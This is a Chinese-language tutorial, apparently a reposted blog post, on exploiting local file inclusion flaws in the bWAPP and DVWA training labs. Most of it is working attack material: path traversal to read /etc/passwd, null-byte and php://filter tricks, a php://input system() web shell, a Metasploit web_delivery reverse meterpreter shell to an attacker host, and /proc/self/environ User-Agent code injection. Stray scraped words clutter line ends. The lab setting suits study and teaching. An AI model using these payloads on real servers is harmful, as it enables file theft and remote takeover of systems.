本地文件包含漏洞利用姿式

本文的主要目的是分享在服務器遭受文件包含漏洞時,使用各類技術對Web服務器進行攻擊的想法。 咱們都知道LFI漏洞容許用戶經過在URL中包括一個文件。在本文中,我使用了bWAPP和DVWA兩個不一樣的平臺,其中包含文件包含漏洞的演示。經過它我以四種不一樣的方式執行LFI攻擊php

0x01 基本本地文件包含

在瀏覽器中輸入目標IP,並在BWAPP內登陸(bee:bug),如今選擇bug:remote & local file Inclusion,而後點擊hack。web

1-1

打開具備RFI和LFI漏洞的網頁。在下拉列表中選擇語言釋,單擊go按鈕時,所選的語言文件將包含在URL中。 執行基本攻擊操做。windows

http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go into 192.168.1.101/bWAPP/flfi.php?language=/etc/passwd瀏覽器

在基本的LFI攻擊中,咱們可使用(../)或簡單地(/)從目錄中直接讀取文件的內容,下面的截圖中在瀏覽器URL中訪問密碼文件。安全

2-1

0x02 Null byte

在一些狀況下,因爲高安全級別,上面提到的基本本地文件包含攻擊可能不工做。從下面的截圖能夠觀察到,當在URL中執行相同的路徑時,卻沒法讀取密碼文件。  因此當面對這樣的問題,能夠進行NULL byte攻擊。服務器

打開burp suite捕獲瀏覽器請求,而後選擇代理選項卡並開始截取。 不要忘記在使用burp suite時設置瀏覽器代理。session

3.1

將攔截的數據發送到repeatertcp

3.2

在repeater中作發送的請求和響應生成的分析。從截圖能夠清楚的看出/ etc / passwd不能讀取。函數

3.3

在下面的截圖中,經過在etc/passwd目錄的末尾添加空字符(%00)來轉發請求,而後單擊go選項卡。而後在窗口的右視圖上,密碼文件做爲響應打開。ui

3.4

0x03 Base64 encoded

當安全級別高而且沒法查看PHP文件內容時,使用如下PHP函數:

http://192.168.1.101/bWAPP/rlfi.php?language=php://filter/read=convert.base64-encode/resource=/etc/passwd

從如下截圖能夠看到passwd文件內容編碼爲base64,複製整個編碼文本。

3-2

使用hackbar解碼複製的編碼文本。

4-2

將複製的編碼文本粘貼到彈出的對話框內。

5-3

密碼文件的內容:

6-2

0x04 PHP Input

使用PHP Input函數,經過執行注入PHP代碼來利用LFI漏洞。首先,加載目標網頁URL:

http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go

11

使用PHP input函數:

http://192.168.1.101/bWAPP/rlfi.php?language=php://input&cmd=ls

而後選中enable Post data複選框,轉發提交的數據,並在給定文本區域中添加cmd命令<?php system($ _ GET [‘cmd’]); ?>。以下圖所示,最後點擊execute。

12

經過反向鏈接鏈接目標機器; 在kali Linux中打開終端輸入msfconsole啓動metasploit。

use exploit/multi/script/web_delivery msf exploit (web_delivery)>set target 1 msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp msf exploit (web_delivery)> set lhost 192.168.0.104  msf exploit (web_delivery)>set srvport  8081 msf exploit (web_delivery)>exploit

複製下圖中的高亮文本:

13

將上面複製的PHP代碼粘貼到URL中,以下圖所示,並執行它。

14

當上面的URL被執行時,將metasploit中得到目標的meterpreter會話。

msf exploit (web_delivery)>session I 1 meterpreter> sysinfo

15

0x05 Proc/self/environ

若是服務超時,經過LFI利用它。能夠包括存儲User_Agent的proc/self/environ文件,在文件中插入用於執行CMD命令的PHP代碼

http://192.168.1.102/dvwa/vulnerabilities/fi/?page=proc/self/environ

16

啓動burp suite攔截瀏覽器請求,並將獲取數據發送到repeater。

17

將CMD命令<?php system($_GET[‘cmd’]); ?>添加到user_Agent內,並使用GET參數192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&cmd=id發送請求。響應以下圖右側所示。

18

相關文章
相關標籤/搜索